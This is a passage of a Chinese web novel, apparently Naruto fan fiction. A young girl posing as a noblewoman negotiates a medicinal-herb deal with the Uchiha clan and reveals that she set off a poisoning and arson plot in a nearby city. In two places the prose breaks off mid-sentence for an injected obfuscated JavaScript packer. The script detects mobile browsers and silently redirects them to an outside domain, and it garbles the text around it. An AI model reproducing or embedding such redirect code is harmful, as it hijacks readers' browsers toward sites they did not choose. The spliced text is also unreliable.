堪太没有看她,而是继续轻声说:“我不觉得这么做有什么好处。您让我在书店建一个茶馆,让人去向平民讲那些劫富济贫伸张正义的故事,又让从小跟随您的忍者去给商队的人下毒,烧掉了他们的宅子……” “女人有女人的优势,这是父亲大人说的。”幸子打断了他的话 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另一边,正在山货店里闲得发霉的千代,也收到了商队出事的消息。黑夫好像以为是她做的,看着她的神情欲言又止。 千代只是打了个哈欠,说:“不是挺好的吗?省了很多事。”不用自己动手,千代还觉得轻松呢。 千代对现在的发展看得很开。 她清楚制定计划这种事,只要不是立刻施行就会充满变数,只要大概方向不要脱离掌控能力之外即可。而目前为止,并没有出现让她觉得需要纠正的变化。 黑夫松了口气,这口气又立刻提了起来:“大人,您知道为什么会发生这些事吗?小的……小的真的看不懂了……” 千代:“有些人就少了一个趁机发作的机会。”她单手撑着腮帮子,一副昏昏欲睡的模样,“比起这个,沨。” 她叫来了沨,让她背自己离开这座城。但她又让黑夫留在城里,准备好足够的食物和水,尽量不要外出。 平安座沨自然不可能有意见,凭着千代很有迷惑性的外表,她们很轻松的离开了这座城,往寨子而去。 路上,她问背着自己的平安座沨:“问出来了么?” 平安座沨点头说:“问出来了,小的刚把尸体扔进了商队宅子的水井,就看到了有忍者进去。不过小的跑得快,那个忍者没发现。” 可以说,平安座沨全程目睹了那名忍者在水井下毒并烧掉宅子的全过程。 因为被她丢弃的尸体被提前塞了很多石头,不管是下毒的忍者还是打水做饭的商队仆人都没有发现水井的异样。在商队的人吃完食物中毒之后,忍者才烧了那座宅子。 但这些与平安座沨无关,她不过是遵照千代的吩咐抓住了商队的一名随从,逼迫对方说出宇智波与千手两家族地的位置,并将之灭口罢了。 千代在她背上点了点头,说:“杀人是什么感觉?” 平安座沨愣了下,说道:“不知道,小的从没想过这个问题。” 她这次不是第一次杀人,她以前杀过虐待自己又害死她女儿的丈夫和婆家所有人,还杀害了很多村民。 所以在千代让自己去做这件事,并让自己灭口时,她只是神色如常的应了。 她的力气很大,她的速度很快,一般的男人甚至是浪人都奈何不了她。杀掉那名商队的随从,对她来说并不难。 甚至还会觉得,那名没有发现她的忍者很弱。 “这样啊……”千代道,“什么都不想,也是一种生存之道吧。” 平安座沨心生疑惑,但她不敢问。如风一般跑出去一段距离时,她觉得自己好像听到了千代在背上说…… “无聊的闹剧。” 那声音听上去,带着一丝淡淡的厌倦。 18.第 18 章 斑习惯去离族地有一段距离的山头修炼,因为父亲回来的缘故,他今日来得比平时晚,到的时候就见到那块地方多了一个人。 穿着白色和服,留着一头黑色长发的少年,定定的站在那里,目光坚毅的看着他。他说:“你今天来得很晚,斑。” 斑脸色立马沉了下来,语气硬邦邦的说:“你为什么在这里,千手柱间。” 柱间仿佛没有听到他说的话,道:“自从上次分别后,还是第一次如此见面吧。” 斑冷笑:“哦?我怎么记得两个月前就看到你了,在战场上。” 他们曾经是朋友,但那对斑来说已经是很久远的事情了,即便是二人志同道合,也挡不住两族的恩怨。 ——他们的相遇只会在战场上! 斑摆出了戒备的姿态,蓄势待发得就像是下一秒就会冲过去开打。但柱间不为所动,而是说:“我昨天见到了一个很特殊的贵女。” 斑很是莫名其妙。如果柱间来找他不是为了打架,那能是什么理由? 贵女?什么贵女?这小子不是早就有未婚妻——漩涡主家的姬君么? 千手与漩涡两家的联姻由来已久,作为少族长的柱间肯定是要迎娶漩涡主家的女儿,以维持他们千年来的同盟关系。 斑臭着脸说:“要么就打一架,别跟我扯这些,我对你小子的风流韵事没兴趣。” 柱间道:“她跟我说——千手与宇智波的恩怨,是大名们为了让我们自相残杀、自我毁灭的阴谋。就连宇智波从雷之国迁移到这里,也是他们的算计。” 他直视着斑的眼睛,眼底却是一片苍茫:“斑,我从昨天听完她这句话后,就一夜没睡,我知道你经常在这里修炼,天没亮就赶到了这里,就是为了跟我说这些事……斑,你还记得我们以前谈论的——共同的理想吗?” 他轻声说:“我们找不到说服族人的理由,因为有太多族人的性命隔在了中间,但现在这个理由……足够有说服力了吧。” 斑没有说话,他只是怔愣的呆在原地,瞳孔收缩。 无他,这是他从未想象过的角度,他缓了一阵子,讥讽的笑道:“你是昏了头么?千手柱间。甚至不惜臆想出一位贵女,理由?你想用这个理由去说服谁——说服你的族人和我的族人,说我们这般强大的,能够左右战争结果,能够左右大名和国家生死的忍者,被一群没有查克拉的狗屁贵族耍得团团转……” 他眼神阴戾的瞪着柱间,冷冷道:“你所想象到的和平,就是让忍者视这群贵族为敌人,将他们杀得片甲不留,就能让所有忍者都心平气和的坐在一场桌子上,甘心彼此停战吗?” 柱间:“你误会我了,斑。这个贵女真的存在,我在城里见到的,扉间也在场,而且……” 斑冷静而冷酷的说道:“不管这是不是大名的阴谋,都改变不了一个事实——千手柱间,忍者是排外的,是好斗的,就算天底下所有的贵族都死了,忍者也不会罢手。相反的,如果没有贵族的存在,忍者们之间的战斗只会更加惨烈……” 他收回了戒备的姿态,而是立身站着,对面前犹如石像一般僵硬的千手柱间说:“接受贵族的雇佣,得到的钱换取食物武器和药物等所需品,养活族人壮大家族,大家都是这么做的。但如果没有贵族的雇佣,要用什么方式去得到这些所需品呢?你有想过这个问题吗?” ——“为什么忍者会甘心被普通人雇佣,却没想过自立更生、自立为主呢?” 回到寨子里,任由着黑女给她洗脚的千代,突然问了这么个问题。 在场的还有黑大、黑杏和平安座沨。虽然不明白为什么千代这么问,但黑杏思索之后说:“有一次去城里,回来的路上经过一个刚被贵族们收完税的村庄,听到村长说到过类似的事情。” 千代:“哦?”她鼓励黑杏说下去。 黑杏:“他说,忍者是只会杀人的被诅咒的怪物。”她道,“忍者无法种地,从他们手里长不出一粒粮食,他们是趴在人类身体上吸血的吸血虫,是寄生在这个世界的天外来的怪物。” “嗯?”千代轻轻歪头,“怎么说?” 黑杏摇头,说:“小的只听到这些,因为不感兴趣,很快就离开了那个村庄。” ——天外来的怪物? 如果说前面那些话听起来还没什么,但‘天外来的怪物’就让人难以不去深思了。 不过,也可能这句话没有什么特别的意思,可能这不过是在现实压迫下产生的怨言罢了。 千代觉得这个世界还是蛮有意思的,贵族们处心积虑了多少年啊……才会让忍者成为人人痛恨的群体,在忍者与普通人之间画出如此深而难以跨越的鸿沟。 而真正实质上压迫着百姓的贵族们,却能美美隐身,过着纸醉金迷的快活日子。 这本身就是一种很异常的现象。拥有力量的人,过着与普世疏离的生活,而没有力量的人,却真正占据着话柄权和资源。 千代已经有一段时间没有去思考这个世界的虚实与否了,因为她觉得这没有意义。在没有能力和证据证明这个世界是虚假的环境时,她能做的就是让自己变得强大。 只有变强,才有资格和能力面对他人的算计。对她而言这是一种很容易得出来的结论,但对于忍者而言……似乎并不容易。 比如那对千手兄弟的反应。当自己说出那是一场阴谋的时候,兄弟俩尽管有着截然不同的心思,但他们的震惊却是实打实的。就好像——阴谋这件事,是打破他们世界观的,本不可能发生的事情。 就连光是要接受她的这番言论,也需要在心底接受诸多的挣扎。 就好像在他们的潜意识里,这是一种本能去避开思索的问题。 ——不,还不能太早下定论。 她才见过几个忍者,说不准只是那对兄弟比较天真罢了。不过,作为刀存在的忍者,还拥有这份天真,感觉还是有点违和。 ——可能贵族们的洗脑技术真的很强吧。 ——毕竟知识都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|13152577|137999||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被贵族垄断了。 “明日我要去宇智波族地,与他们商量合作交易的事。”千代如此道,她也不用去管这些人的意见,只是让黑杏整理打包出一份种类齐全的药材样品,又让她报告一下库存的清单。 至于和千手家谈好的交易,嘛,这个不急。毕竟那对兄弟还需要与他们的父亲商量,但在商队和药材一起被烧毁的现状下,这笔交易肯定能成。 忍者又不是傻子,就算他们需要维持和大名的关系,但药材这种关系到生命的必需品,他们肯定优先选择药材。 第二天清早千代就出发了,她只带了平安座沨、黑二树。平安座沨负责背她,而黑二树则负责背那包药材。 黑二树确实很强壮,但和平安座沨比起来还是逊色不少。去宇智波族地的距离并不近,但一路上平安座沨连汗都没出几滴,而黑二树在平安座沨刻意放慢速度的前提下也仅是勉强能跟上罢了。 宇智波族地位于深山,可能与忍者出行的方式有关系,去的路上找不到一条像样的路,如果不是从那名商队随从里问出了具体的位置,也不会想到这么一座原始的山里竟然还有一片生活着三百多人的地方。 而且这些人还会因为经常接任务而外出。 在进入深山的路上,因为放慢速度的关系,黑二树一边擦着汗一边说:“大人真是厉害,您怎么知道这座山里会有忍者。” “只要算出经纬度就行。”千代随口道。 虽然不知道这个世界是怎么回事,但确实有北极星的存在,稍微掌握一点物理知识,就能轻易的算出所在位置的经纬度。 那名商队随从只知道从城里到宇智波、千手族地的路怎么走,有大概的距离和方向,她只要按照这些算出大概的位置就行。 可以肯定的是,宇智波族地在这座深山里。而真的到了这里,他们也不需要在山里无头苍蝇一般的寻找。 因为已经有忍者发现了这群外来者。 “谁?!” 突然出现的两道身影,身披叠甲的两名黑发忍者挡在了他们面前。一男一女,看起来也就二十出头。但他们的长相很相似,表情也是同样的冷厉。 黑二树先是被吓了一跳,又惊讶的说:“大人,他们长得和上次遇到的那个小忍者好像!就是婚礼当天跑掉的那个!” 他记得那个忍者叫…… “阿灿!” 宇智波族地里,正在给自家亲爱的堂哥当小工的宇智波灿听到了有人喊他,他手里还抱着一些需要送到族长那边去的卷轴。 叫住他的忍者说:“阿灿,上次送你糖的好心贵女来找你负责了。” “……哈?”宇智波灿手里的卷轴哗啦啦的掉在了地上。 ——负责?什么负责? 送过他糖果的贵女只有一个人,那糖果现在还成为了风靡整个族地的,人手必备的小零嘴。 但这不是重点——找我负责是几个意思! 不对,为什么千会跑到这里来啊!!! 19.第 19 章 千代知道寨子里的人想得挺多,她也从来没指望过一群生活十分单调的文盲们能够放过生活中一丁点能够给他们带来乐趣的话题。 但她没想到宇智波灿想的也一样多。 宇智波灿冲进了会客的和室,看也不看里面有什么人在,面红耳赤的喊:“你、你在瞎说些什么呢!什么负责的,不是说那是玩笑吗?!我们那压根就不算结婚!” 结婚是什么?那只会影响他变强!再者说了,宇智波世世代代都是族内通婚,他才不会做那个打破传统的人! 千代看了他一眼,继续淡定的喝茶。这是一种甜茶,用了什么茶叶她不清楚,但里面加了蜂蜜,她无视宇智波灿对面前的少年说:“如果加牛奶的话味道会更好。” 面前坐着的是泉奈,他哦了一声,一副洗耳恭听的样子。千代:“糖加热成糖浆后往里面倒水和茶叶,再加入牛奶一起熬煮,住在高原上的人会用这个来汲取抵御恶劣环境所需的高热量。” 泉奈点了点头,笑着说:“姬君懂的真多。”听起来味道应该不错,回头做了试试。就是牛奶不好得,用羊奶应该可以。 宇智波灿这时候才发现了泉奈的存在,红着脸已经变成了惨白色。泉奈对他道:“行了,我们都知道是个误会,姬君之前不知道你是宇智波,她这次也不是为了你才来的。” 宇智波灿不想表现得自己太没用,但他还是欲哭无泪的说:“但为什么来传话的人,故意说那种让我误会的话?” 泉奈:“可能是想看你出丑。现在我们都看到了,你可以出去了。” 灿不想走,固执的坐在了角落里,他道:“你们总得需要一个跑腿的吧。” “估计是不需要……啊,父亲、斑哥。”泉奈站了起来,朝着进门的两个男人恭敬的弯身打招呼。灿也同样起身,看得出来他好像挺怕这两个人。 哦,估计最怕的还是被泉奈称为父亲的人,看起来就是那种古板难应付的类型。 千代依旧坐着,她的坐姿很随意,一点都不贵女,就是那种盘坐的方式,不过她穿的是裤裙,倒不至于会走光。 虽然一个七岁的小女孩也不用太过在意这种问题。她只是维持着坐的姿势,朝着刚进来的二人点了点头算是打过招呼。 宇智波田岛也不在意她的礼仪,而是心情有些复杂的坐定,看向了这名之前听说过的,救了宇智波灿的贵女。 ……听说她还是个山贼。就只带了两名随从就闯入了宇智波族地范围。 田岛觉得自己只是离开了一段时间,就发生了很多让人应接不暇的事情。比如宇智波灿差点死了又被一名来历神秘的贵女所救,离族地最近的一座城流传着为忍者供应药材的商队药材里发现了用忍者内脏骨头作药的事情,而这支商队在昨天晚上突然被袭击,连人带货全都没了。 至于为什么说是‘被袭击’,理由很简单,普通人可能会被蒙蔽,但蒙蔽不了专门干杀人行当的忍者,更别说还在井里发现了一具被塞了石头的随从尸体。 宇智波在那座城里自然安排了眼线,眼线汇报城里已经乱起来了,尤其是城主府,已经乱成了一窝粥。 很容易理解的发展——用忍者尸骨作药,触犯了忍者的禁忌。 平民们不懂,但贵族们很清楚这个禁忌代表着什么。忍者虽然靠他人雇佣生活,但偶尔也不是不能做点免费的活计,比如——毁灭一座城。 对于宇智波来说,毁掉那座小城真的算不上什么大事。算得上事的是他们需要的药材断货了。 要知道被烧毁的药材可是包揽了城里绝大多数的药,毕竟商队之前就低价收购了城里几乎所有的药,而剩下来的那些商队看不上,忍者更是用不上。 宇智波田岛琢磨不出千代的来历,但这并不算是什么大事,他道:“我听闻姬君想要和宇智波做一笔药材生意。” 因为在还没踏入族地时,靠着对方一名随从喊出了灿的名字,让负责巡逻的族人联想起千代是‘灿的救命恩人’这层身份,又听闻对方有一座药山,想和宇智波做生意,所以他们被请进了族地里。 对于田岛来说,千代的身份是其次的,远不如药材重要。所以他特地放下了积攒的工作过来了,顺便带上了斑。 宇智波斑安静的坐在田岛身后,他直勾勾的盯着千代,没想过自己这个举止算不算是冒犯。 他觉得挺巧的,昨天柱间刚提到的那名姬君,今天就出现在族地里。光是对方带着两个随从就想和宇智波做生意,就凭这份胆识就已经够得上柱间形容的‘特殊的姬君’了。 尤其是,这名姬君是纯然的普通人,没有丁点查克拉。 这一点在他们进族地时,已经开眼的族人已经看透了这点。写轮眼能够看到忍者体内查克拉的流动,自然能分辨一个人是不是忍者。 千代的表现淡定得就像不知道自己待在一个当世最强之一的忍者地盘里,她只是招手喊了一声沨,平安座沨就带着一个之前黑二树背着的包裹还有里面夹杂着的记录着药材种类的纸张进来,恭敬的将它们放在了中央的榻榻米上。 宇智波灿见到平安座沨时,眉头皱了皱,当即就开了眼,开完之后,他啧了一声:“原来你山寨里还是有忍者的啊。” 平安座沨下意识的抬头看了他一眼,又看向了千代,眼里带着慌乱:“千主,沨可不是忍者。” 千代之前就有过猜测,所以灿的话只是肯定了她的猜测罢了。她抬手在空中往下压了压,安抚了平安座沨的情绪,对灿说:“她是我从城里买来的仆人,确实和普通人有些不同。应该是从小就被遗弃,在村里长大,并不知道自己的身份。” 灿:“看出来了,她的查克拉主要分布在四肢上,没有经过正规的训练,应该是某种血继限界。” 千代适度的露出好奇,灿摆手说:“血继限界那么多,我没见过这种,不知道她是哪个家族的。会被遗弃,估计家族已经灭亡了吧。” 不然不会有哪个拥有血继限界的家族会放任自己的族人在外的。就算是做了不可饶恕之事,族内不容,那也只会处私刑。 不过千代随手就能买到一个有血继限界的仆人,灿心里觉得她还挺好运的。 千代点了点头,对平安座沨说:“行了你下去吧。” 见千代真的不在意的样子,平安座沨才松了口气,朝她弯腰行礼后,才小心翼翼的退下,退到原来离这个房子有点距离的地方,和黑二树站在一起。 千代就像是没注意到她和灿聊天的时候,族长一家三口充当透明人一般保持沉默的行为,而是继续问灿:“你这双红眼就是传言中的写轮眼吗?它有什么作用?” 灿,灿看向了泉奈。 该说不愧是和泉奈混一起(划掉),相处久了么,灿其实知道泉奈和族长少族长之所以不制止他和千代聊天,是觉得由他来和千代说话能够让对方放松下心情,问出更多的东西。 所以他知道,就主动说出了平安座沨是忍者的事。可现在千代问的是写轮眼的作用…… ——这个家伙是真的很擅长把天聊死啊! 灿心里很郁闷,但面上没有表现出来,而是下意识看向和他关系最好的泉奈。 但开口的不是泉奈,而是千代。千代说:“是不能说的事情吗?那我就不问了。行了,灿如果你想继续待在这里的话,接下来就不要打扰我和你们族长的生意了。” 灿:? 灿:?! 被称为不像宇智波的暴躁小娃听到这番话,觉得自己的火气往上冒。但接收到泉奈的眼神示意后,他只能鼓着腮帮子的抱着双手别开脸。 灿七岁,还是个冲动的小男孩。但与他同岁的姬君,明明只有一个人,面对着四名宇智波却气定神闲。 田岛看在眼里,在心中暗自点头。 ——没有一定的家族底蕴是培养不出来这样的贵女。 应该说,这样的贵女他也算是头一次见,与他在贵族府邸偶然见过的那些娇花一般脆弱高贵的贵女,又有本质上的不一样。 至少那些贵女可不敢和宇智波做生意。 田岛接过泉奈递过来的包裹,拆开后看到了里面放着的药材样品。每一种都只有少少的量,但品质却很好。有一些甚至比他们从商队购入的还要好。 而纸张上面写的药材清单……田岛先注意的反倒不是上面的内容,而是那一手好字。由毛笔书写,笔划轻重得宜,气韵生动,透出一股典雅高贵的气息。 能写出这种字的人,显然在书法上面很有造诣。 “那是我写的。”似乎是看穿了田岛心中所想,千代说,“凑合着看吧,我特意写得清晰一些,方便看懂。” 田岛:……原来还会草书么? 千代是会毛笔字的,因为她姐姐很喜欢毛笔字,还买了很多画帖在家里临摹,千代很喜欢和这个努力上进的姐姐待在一起,自然也跟着她一起临摹。 一开始写得并不好,但在她抛弃姓氏离家之后,就像是用这种方式来表达对姐姐的思念一般,她在毛笔这块下了点功夫。 她用的是瘦金体,一种从东亚最强的异能超级大国里流传出来的字体。虽然她觉得自己是临摹出来的,只有形没有意,可用来糊弄一下忍者已经是足够的。 人如其字,想要伪装成一名贵女,就需要从细节方面用心打点。不仅是用遣词造句来隐形透露出自己的学识高低,还是从字上面来透露自己的文化底蕴…… 嘛,贵女的礼仪她是一概不懂,但这些不过是小事,只要装得足够神秘,就算她四仰八叉的坐着别人也只会夸她一句不拘礼仪洒脱自如。 这笔字是有用的,至少田岛在心里对千代的定位提高了不少。作为书法爱好者,他对千代的印象分也水涨船高。 所以面对这么一个和灿差不多大的小女孩,他也撇去了之前那点点不可言说的小别扭,开始谈起了这笔生意。 他很直来直往的说出了自己想要的药材,清单上面一共一百二十三种药材,他要的就有八十六种,其中治疗外伤和内伤,补气补血的药材占了大多数。 对于讲究效率的千代而言,田岛这么直接的说出自己需要的种类,她反倒是有些欣赏。她可不耐烦和人打什么官腔。 官腔这种东西她在七号机关里已经领教太多了。 如果所有的忍者都像田岛这么直接的话,那她会高兴很多。 田岛在说完之后,理所当然的问起了价格。然后…… 田岛注意到灿的表情有些微妙。很快他就明白了原因。 千代:“你们向那支商队购买时,单价是多少?” 田岛:? 泉奈:? 斑抽了抽嘴角,说道:“你该不会事先没有考虑过卖什么价钱吧?” 田岛刚要让斑别乱开口,就听到千代用很坦然的语气说:“嗯。” 斑嘴角抽搐得更厉害了。他没想到自己只是随口一说,这位小姬君还能应得这么硬气,好像觉得这不是什么大问题。 他想说——你这样表现得好像个笨蛋。 但他知道一旦说出来,他旁边这位麻烦老爹肯定会对自己说教。 但接下来千代的话,让他又愣住了。千代说:“按照商队的单价,每一种我只要他们开价的四分之一。” 别说是斑傻住了,就连田岛都有一瞬间的怔愣,似乎以为自己听错了。泉奈却是最镇定的那个,问道:“您说的是真的?” 说着还看向了灿。灿不忍直视的说:“你不如问问她,知道一个鸡蛋卖多少金吗?” 千代不咸不淡的看了他一眼:“一个鸡蛋卖两文,这种常识我还是知道的。” 斑转了转眼珠子,说道:“我听说过有一种鸡,专门供应给雷之国大名享用,喝的是上流源头收集的泉水,吃的是混合着药材和专门饲养的用嫩芽喂养出来的虫子制作出来的饲料,住在每天都有专人打扫干净的木屋里,这样的鸡产下来的蛋,你知道一个卖多少钱吗?” 千代面无表情的说:“比起味道寡淡的鸡蛋,我更喜欢肉质嫩滑的牛肉和猪肉。” 斑咦了一声:“牛肉我就不说了,我也没吃过几次,但猪肉不是很臭吗?又酸又臭的。”牛肉作为耕地的重要家畜还是很珍贵的,贵族虽然会养专门的肉牛,但忍者想吃还得看运气,毕竟肉牛都不够贵族分,更别说轮到忍者。 但猪是什么?那可是只有贱民才会去吃的,又柴又膻,要加很多香料才能勉强盖住那个味,可吃起来还是塞牙。 千代:“只要在公猪刚生下来时,将它们去势,肉就不会有膻味。” 灿好奇的问:“去势是什么?” 千代:“将男人比女人多出来的东西全部切掉,就叫去势。” 灿:…… 其他人:…… 田岛是个成年人,他还好点。但在场的三名未成年宇智波(♂),就连小大人似的泉奈都露出了龇牙咧嘴的表情。 田岛清了清嗓子道:“如果姬君确定您的价格是正确的,那宇智波和您做这笔生意。” 程序都可以免了,他担心自己说晚了就占不了这个大便宜。四分之一……四分之一……而且品质还不比商队提供的低,要是不拿下这笔生意,他都觉得亏!亏得今晚睡不着觉那种! 无他,就算忍者有钱,但就他们要的量……能省下多么大的一笔钱啊!冬季就要来了,省下来的钱都能够给族里有困难的人发下不少福利了。 能够做成这笔生意,千代自然是满意的。但她说:“四分之一的价格并非没有附带条件,还请听完我的条件后再做决定。毕竟,我给千手的价格是三分之一。” 中间可是有不少差价。 能够明显感觉到屋内的空 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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那么多药材,别说加价买,就算用四分之一的价格买,那宇智波的账本都得出现赤字了。 但是那么多的库存……斑思索着:你那座药山到底是什么山?产出那么高的吗?! 那清单他可是看到了,里面还有人参,还是两百年的!虽然写了只有三根……三根两百年人参,那是宝山吧! 如果千代愿意拿这些人参去和大名府做生意,得到的钱都能买个宅子买一大片地几辈子吃喝不愁了。 斑不知道的是,千代对于这些人参的数量同样很惊讶。要知道那座山在二十年前可是有主的,但都没被发现,反倒是便宜了山寨。原本这些人参可是随意的堆在山寨里的仓库里随便取用的,要不是两百年的药性太强,估计都像其他年份浅的那样被人随便吃掉了。 ——或许在二十年前出现了一些特殊的事情导致了山的产出增加。 但这些对于千代来说,是无关紧要的。她不在意出过什么事,她又不是好奇心特别强的侦探,对她而言只要能拿来用就行。 千代不想这次生意失败,也不想生意做成了还留下一条尾巴,她说:“正因为知道两族的恩怨,所以我才会说出和千手也有一笔生意。这种事是瞒不住的,我不想在你我之间留下芥蒂,还不如一开始就坦然相待。” “那你可坦然得太宽待了。”斑单手撑着下巴,无语的道,“要不是你没有查克拉,不是忍者,早就把你打一顿了。”他如此故意的恐吓着。 说这话的时候,却是悄悄的观察父亲的反应。见田岛只是露出一副深思的模样,他心里松了口气。 无他,他还是想让千代能够完好无损的从族地里出去的。毕竟这是灿的恩人,而且她对柱间说的那些话…… 尽管斑嘲笑了柱间的天真,但他还是想找当事人问清楚那到底是什么意思。 “因为不是忍者所以才得到宽待么?”千代笑了笑,道,“那你们也算是得到了我的宽待。” “哦?”田岛这才有了反应。“和你之前说的条件有关系?” 不得不说,这位族长确实是个很敏锐的人。虽然显得沉默寡言,但他显然没有把话语权出让的意思。 虽然纵容小辈插科打诨,但他却时刻在关注着千代的一举一动,就像是在分析着她。 千代:“我来这个屋子之前,虽然只是从大门走到这里的距离,但我看到了一些人为伤残的忍者,甚至还有白发苍苍的老人和步伐蹒跚的幼儿。他们的面色红润,气色很好,看起来都被很好的照顾。” 她似乎想起了什么,微敛眉眼道:“从我一路走来,这是很难得的事情。我经过很多村庄,在那里但凡失去劳动能力的老人和残疾之人,都会被第一时间的舍弃。当家里的粮食不多时,他们会优先缩减小孩的口粮。在困境面前,他们总是第一个被舍弃的,那般理所当然的舍弃。而即便是经过富裕的村庄,情况也没有改善多少,即便是为了存下更多的粮食,没有劳动能力的人依旧会被优先舍弃。” 她抬眸,定定的看着神色依旧的宇智波田岛:“普通人是如此,依靠战斗而生存的忍者,本应该只会比他们更为果断的舍弃。但是没有……所以,除了因为有灿这个熟人在之外,这份所闻也是我优待宇智波的原因。” 灿指着自己的脸,似乎不明白为什么自己被提起。但他还是乖觉的没发声。 千代:“我听说宇智波家十分重视族人,但传闻只是传闻,不如自己亲眼所见。现在我见到了,所以我要和宇智波谈另一门生意……” 田岛似乎来了点兴致,双手插袖的道:“说。” 千代:“城已经乱起来了,等那场城里的闹剧结束之后,它会成为我的所有物。从那座城到我现在拥有的药山,都会成为我的领地。地方一大,就需要有武力震慑,所以,我的条件是——如果宇智波愿意接受我长期的雇佣,守护我的领地,在雇佣期间宇智波所需要的所有药材——我只收取比民间售卖的价格要低两成的价格。” 如果说之前千代的话语尚且还在理解范围之内,那她现在说的话,就连田岛都忍不住的露出惊讶之色。 这份惊讶是实打实的,仿佛坐在他面前的是一个他无法理解看透的人。不仅是一个神秘的贵女,她明明是那么的淡定从容,但她话里暗含的深意和浓烈的野心,让在场的忍者都觉得不可思议。 田岛张了张嘴,说:“你的意思是,想要用这份低价,雇佣忍者为你打下那座城……” “不是。”千代脸上的笑意加深,但她的眼里依旧是没有丁点的笑意。她柔声说,“我说了,那是场闹剧。由我一手挑起的闹剧,不需要忍者之力,光凭那群普通人的力量,就足够了。” 她说:“只是散播商队的货物里有人的尸骨制成的药材,就能利用贵族们发散思维的认定那是触犯禁忌,尤其他的领地附近还有两大忍者家族……自乱阵脚之下,让有心之徒看到利用流言获利的希望,再在他们杀死商队所有人和烧掉药材之前,提前将一具尸体抛进水井,让有心之徒的计划破产,他们就会乖乖的斗个你死我活……” 她的笑容是那般的甜美,说的话却是那般让人毛骨悚然:“人性啊,稍微挑拨一下就会盛开绚烂的血色之花……独属于普通人的战争,不知道作为忍者的你们,看了是否也会觉得有趣?”